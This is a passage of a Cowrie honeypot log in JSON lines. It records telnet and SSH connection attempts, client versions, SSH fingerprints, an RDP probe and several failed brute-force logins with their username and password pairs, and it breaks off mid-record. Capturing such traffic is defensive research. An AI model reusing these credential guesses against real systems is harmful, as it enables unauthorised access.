{"eventid":"cowrie.session.closed","duration":26.542922496795654,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:39.456669Z","src_ip":"152.42.224.71","session":"29f63872c822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.724018573760986,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:40.867010Z","src_ip":"152.42.224.71","session":"89f617baf944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.11508107185364,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:45.530664Z","src_ip":"152.42.224.71","session":"3f0bf925fae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.522361755371094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:46.612084Z","src_ip":"152.42.224.71","session":"bf9e4cbc9333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.72925877571106,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:47.004248Z","src_ip":"152.42.224.71","session":"b666f793496c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48470,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c41fd43c29","protocol":"telnet","message":"New connection: 152.42.224.71:48470 (10.17.0.5:23) [session: 06c41fd43c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:48.314763Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52294,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f40447ca640","protocol":"telnet","message":"New connection: 152.42.224.71:52294 (10.17.0.5:23) [session: 4f40447ca640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:48.408737Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"fda30e1e9fe2","protocol":"telnet","message":"New connection: 152.42.224.71:52318 (10.17.0.5:23) [session: fda30e1e9fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:49.826213Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52304,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f13f989a6d","protocol":"telnet","message":"New connection: 152.42.224.71:52304 (10.17.0.5:23) [session: c1f13f989a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:50.418578Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e9ef1738b5c","protocol":"telnet","message":"New connection: 152.42.224.71:52322 (10.17.0.5:23) [session: 4e9ef1738b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:55.947972Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59823,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e5a4143db2c","protocol":"ssh","message":"New connection: 152.42.212.128:59823 (159.203.135.109:22) [session: 3e5a4143db2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:58.850665Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:58.856424Z","src_ip":"152.42.212.128","session":"3e5a4143db2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:58.861001Z","src_ip":"152.42.212.128","session":"3e5a4143db2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34320,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b9f6b6bcea8","protocol":"telnet","message":"New connection: 152.42.224.71:34320 (10.17.0.5:23) [session: 8b9f6b6bcea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:00.424278Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e218aff71702","protocol":"telnet","message":"New connection: 152.42.224.71:34334 (10.17.0.5:23) [session: e218aff71702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:01.460657Z"}
{"eventid":"cowrie.session.closed","duration":63.22236394882202,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:03.347108Z","src_ip":"152.42.224.71","session":"7b21f0638c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":51362,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbbdb93e2e6e","protocol":"ssh","message":"New connection: 38.93.206.2:51362 (10.17.0.5:22) [session: fbbdb93e2e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:03.705798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:03.722937Z","src_ip":"38.93.206.2","session":"fbbdb93e2e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:03.776274Z","src_ip":"38.93.206.2","session":"fbbdb93e2e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katrin","message":"login attempt [root/katrin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:03.938465Z","src_ip":"38.93.206.2","session":"fbbdb93e2e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:04.992598Z","src_ip":"38.93.206.2","session":"fbbdb93e2e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34350,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c1bc69d270","protocol":"telnet","message":"New connection: 152.42.224.71:34350 (10.17.0.5:23) [session: b6c1bc69d270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:05.645113Z"}
{"eventid":"cowrie.session.closed","duration":103.83803939819336,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:12.402867Z","src_ip":"152.42.224.71","session":"64835985884b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b233f2ca9f","protocol":"telnet","message":"New connection: 152.42.224.71:49528 (10.17.0.5:23) [session: 39b233f2ca9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:14.674082Z"}
{"eventid":"cowrie.session.closed","duration":43.16235423088074,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:20.610833Z","src_ip":"152.42.224.71","session":"5896f1c7dba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.11386775970459,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:20.736497Z","src_ip":"152.42.224.71","session":"e9ba2673ec46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":32820,"dst_ip":"159.203.135.109","dst_port":22,"session":"326db5b860a6","protocol":"ssh","message":"New connection: 181.188.172.6:32820 (159.203.135.109:22) [session: 326db5b860a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:22.967109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:22.972509Z","src_ip":"181.188.172.6","session":"326db5b860a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:23.095660Z","src_ip":"181.188.172.6","session":"326db5b860a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avahi","password":"avahi","message":"login attempt [avahi/avahi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:23.618981Z","src_ip":"181.188.172.6","session":"326db5b860a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:24.802856Z","src_ip":"181.188.172.6","session":"326db5b860a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.10568881034851,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:28.931613Z","src_ip":"152.42.224.71","session":"fda30e1e9fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0019736289978,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:28.976747Z","src_ip":"152.42.224.71","session":"329542a7333c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.85744047164917,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:29.172102Z","src_ip":"152.42.224.71","session":"06c41fd43c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40660,"dst_ip":"10.17.0.5","dst_port":23,"session":"f212ddb1c253","protocol":"telnet","message":"New connection: 152.42.224.71:40660 (10.17.0.5:23) [session: f212ddb1c253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:30.447302Z"}
{"eventid":"cowrie.session.closed","duration":46.60329604148865,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:35.011896Z","src_ip":"152.42.224.71","session":"4f40447ca640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49424,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ee84db64c9","protocol":"telnet","message":"New connection: 152.42.224.71:49424 (10.17.0.5:23) [session: 20ee84db64c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:40.393694Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49438,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a828a5e2d3","protocol":"telnet","message":"New connection: 152.42.224.71:49438 (10.17.0.5:23) [session: 39a828a5e2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:42.417870Z"}
{"eventid":"cowrie.session.closed","duration":36.97289514541626,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:42.617887Z","src_ip":"152.42.224.71","session":"b6c1bc69d270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49442,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3c94c39618","protocol":"telnet","message":"New connection: 152.42.224.71:49442 (10.17.0.5:23) [session: 9e3c94c39618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:43.879968Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43022,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf40eb3a6e6","protocol":"telnet","message":"New connection: 152.42.224.71:43022 (10.17.0.5:23) [session: ddf40eb3a6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:46.100445Z"}
{"eventid":"cowrie.session.closed","duration":60.36042594909668,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:50.778871Z","src_ip":"152.42.224.71","session":"c1f13f989a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43024,"dst_ip":"10.17.0.5","dst_port":23,"session":"04baec60076a","protocol":"telnet","message":"New connection: 152.42.224.71:43024 (10.17.0.5:23) [session: 04baec60076a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:53.949804Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"52295668a39a","protocol":"ssh","message":"New connection: 103.195.236.96:34734 (159.203.135.109:22) [session: 52295668a39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:54.398152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:54.403004Z","src_ip":"103.195.236.96","session":"52295668a39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.59650421142578,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:54.631233Z","src_ip":"152.42.224.71","session":"118cd920f417","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:54.638268Z","src_ip":"103.195.236.96","session":"52295668a39a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345677654321","message":"login attempt [root/12345677654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:55.581754Z","src_ip":"103.195.236.96","session":"52295668a39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:56.823414Z","src_ip":"103.195.236.96","session":"52295668a39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.49328637123108,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:26:56.953802Z","src_ip":"152.42.224.71","session":"e218aff71702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43844,"dst_ip":"10.17.0.5","dst_port":23,"session":"020e4651507f","protocol":"telnet","message":"New connection: 152.42.224.71:43844 (10.17.0.5:23) [session: 020e4651507f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:01.099388Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47234,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a9fed27510","protocol":"telnet","message":"New connection: 152.42.224.71:47234 (10.17.0.5:23) [session: 26a9fed27510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:08.014463Z"}
{"eventid":"cowrie.session.closed","duration":104.7269139289856,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:08.312476Z","src_ip":"152.42.224.71","session":"92b2b5669161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.4074490070343,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:13.287320Z","src_ip":"152.42.224.71","session":"9e3c94c39618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32683777809143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:13.744589Z","src_ip":"152.42.224.71","session":"39a828a5e2d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.47699570655823,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:17.150888Z","src_ip":"152.42.224.71","session":"39b233f2ca9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55028,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a633474558","protocol":"telnet","message":"New connection: 152.42.224.71:55028 (10.17.0.5:23) [session: b6a633474558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:17.423177Z"}
{"eventid":"cowrie.session.closed","duration":110.55550217628479,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:20.615519Z","src_ip":"152.42.224.71","session":"ea4043bc6087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.36034154891968,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:22.807506Z","src_ip":"152.42.224.71","session":"f212ddb1c253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"168b6377702c","protocol":"telnet","message":"New connection: 152.42.224.71:55040 (10.17.0.5:23) [session: 168b6377702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:23.592320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55052,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf7985ef2a0","protocol":"telnet","message":"New connection: 152.42.224.71:55052 (10.17.0.5:23) [session: 9bf7985ef2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:23.628539Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":57820,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a23ed11a3c","protocol":"ssh","message":"New connection: 148.153.245.161:57820 (10.17.0.5:22) [session: 30a23ed11a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:23.996261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.002697Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr"